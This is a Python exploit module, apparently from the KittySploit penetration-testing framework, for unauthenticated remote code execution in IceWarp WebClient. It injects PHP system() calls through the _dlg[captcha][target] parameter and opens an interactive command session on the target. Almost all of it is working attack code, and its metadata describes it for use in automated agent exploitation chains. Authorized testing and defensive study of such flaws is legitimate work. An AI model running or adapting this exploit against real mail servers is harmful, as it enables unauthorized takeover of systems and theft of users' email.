IceWarp WebClient RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""IceWarp WebClient captcha target RCE — execute session."""

from __future__ import annotations

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'IceWarp WebClient RCE',
        'description': (
            'Exploits unauthenticated PHP code injection in IceWarp WebClient via the '
            '_dlg[captcha][target] parameter. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.MULTI,
        'payload': {'default': 'nopayload'},
        'references': [
            'https://www.icewarp.com/',
        ],
        'tags': ['icewarp', 'webmail', 'webclient', 'rce', 'unauth', 'injection'],
        'agent': {
            'risk': 'critical',
            'effects': ['active_exploitation', 'remote_code_execution'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals', 'rce'],
            'requires': {
                'tech_hints_any': ['icewarp'],
                'endpoint_pattern_any': ['/webmail/basic/'],
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': 'captcha target injection'},
                    {'capability': 'shell', 'from_detail': 'execute session'},
                ],
                'suggested_followups': ['scanner/http/icewarp_webclient_rce_detect'],
            },
        },
    }

    path = OptString('/webmail/basic/', 'WebClient base path', False, advanced=True)
    shell = OptChoice(
        'unix',
        'PHP system() wrapper',
        False,
        choices=['unix', 'windows'],
        advanced=True,
    )

    def _wrap_cmd(self, cmd: str) -> str:
        safe = str(cmd).replace('\\', '\\\\').replace("'", "\\'")
        if self.shell == 'windows':
            return f"system('cmd /c {safe}')"
        return f"system('{safe}')"

    def execute(self, cmd: str) -> str:
        body = f"_dlg[captcha][target]={self._wrap_cmd(cmd)}\\\n"
        r = self.http_request(
            method='POST',
            path=str(self.path or '/webmail/basic/'),
            data=body,
            headers={'Content-Type': 'application/x-www-form-urlencoded'},
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {
                'vulnerable': True,
                'reason': 'IceWarp WebClient RCE confirmed via id',
                'confidence': 'high',
            }
        if 'Microsoft Windows [Version' in (body or ''):
            return {
                'vulnerable': True,
                'reason': 'IceWarp WebClient RCE confirmed on Windows',
                'confidence': 'high',
            }
        return {
            'vulnerable': False,
            'reason': 'captcha target injection did not return command output',
            'confidence': 'medium',
        }

    def check_execute(self):
        token = self.random_text(8)
        if self.shell == 'windows':
            return token in (self.execute(f'echo {token}') or '')
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()